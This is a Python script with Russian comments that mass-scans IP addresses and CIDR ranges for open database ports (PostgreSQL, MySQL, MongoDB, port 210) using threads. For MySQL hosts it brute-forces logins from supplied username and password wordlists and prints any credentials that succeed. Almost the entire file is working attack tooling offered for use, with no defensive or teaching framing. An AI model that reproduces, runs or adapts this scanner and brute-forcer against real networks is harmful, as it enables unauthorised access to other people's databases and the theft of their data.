KKN.py 3.9 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112
  1. #!/usr/bin/python3
  2. import threading
  3. import socket
  4. from netaddr import *
  5. import sys
  6. import time
  7. import optparse
  8. import MySQLdb
  9. #функция много поточного запуска scan_port_db
  10. def thread(ip, port):
  11. t = threading.Thread(target=scan_port_db, args=(str(ip), port))
  12. t.start()
  13. time.sleep(0.001)
  14. def thread_brut_db(host, port):
  15. t = threading.Thread(target=brut_db, args=(host, port))
  16. t.start()
  17. time.sleep(0.5)
  18. #функция принимает адрес хоста и порт
  19. #и если находит передает в функцию брута лог\пас дб
  20. def scan_port_db(host, port):
  21. try:
  22. scan = socket.socket()
  23. scan.settimeout(1)
  24. scan.connect((host, port))
  25. print('[+] brut forse DB host: {} port {}'.format(host, port))
  26. #подбрутить дефолтных пользователей
  27. thread_brut_db(host, port)
  28. scan.close()
  29. except socket.error:
  30. pass
  31. except KeyboardInterrupt:
  32. user_input = input('[!] Для выхода нажмите y, или любую клавишу что-бы продолжить')
  33. if user_input == 'y':
  34. sys.exit()
  35. #функция перебора логина пороля бд
  36. def brut_db(host, port):
  37. with open(logins, 'r') as list_login:
  38. for user in list_login:
  39. user = user.replace('\n', '')
  40. with open(passwords, 'r') as list_pass:
  41. for password in list_pass:
  42. password = password.replace('\n', '')
  43. try:
  44. if port == 3306:
  45. connection = MySQLdb.connect(host=host, port=port, user=user, password=password, connect_timeout=1)
  46. print('[+] Host {} login: {} password: {}'.format(host, user, password))
  47. except Exception as e:
  48. print(e)
  49. #pass
  50. except KeyboardInterrupt:
  51. sys.exit()
  52. argument = optparse.OptionParser()
  53. argument.add_option('-i', '--ip', dest='ip', help='Путь до файла с ip-адресами')
  54. argument.add_option('-r', '--range-ip', dest='range_ip', help='Путь до файла с диапазонами ip-адресов')
  55. argument.add_option('-l', '--logins', dest='logins', help='Путь до файла с логинами')
  56. argument.add_option('-p', '--password', dest='passwords', help='Путь до файла с паролями')
  57. (options, arguments) = argument.parse_args()
  58. #стандартные порты
  59. ports = [5432, 3306, 27017, 210]
  60. logins = ''
  61. passwords = ''
  62. if not options.logins:
  63. pass
  64. elif not options.passwords:
  65. pass
  66. else:
  67. logins = options.logins
  68. passwords = options.passwords
  69. #чтение ip адресов формата 192.168.1.16
  70. #перебор ip аресов, пербор портов и передача в функцию сканирования
  71. if options.ip:
  72. #ports = [5432, 3306, 1433]
  73. with open(options.ip, 'r') as ip_list:
  74. for ip in ip_list:
  75. for port in ports:
  76. ip = ip.rstrip()
  77. thread(ip, port)
  78. #чтение диапазонов ip адресов формата 192.168.1.1/24
  79. #перебор диапазона, перебор портов и передача функции сканирования
  80. elif options.range_ip:
  81. #ports = [5432, 3306, 1433]
  82. with open(options.range_ip, 'r') as range_ip_list:
  83. for range_ip in range_ip_list:
  84. range_ip = range_ip.replace('\n', '')
  85. list_ip_addr = IPNetwork(range_ip)
  86. for ip_addr in list_ip_addr:
  87. for port in ports:
  88. thread(ip_addr, port)
  89. '''
  90. ip_range = '192.168.1.1/24'
  91. ports = [5432, 3306, 1433]
  92. #brut_force_range_ip(ip_range, ports)
  93. #get_argument()
  94. '''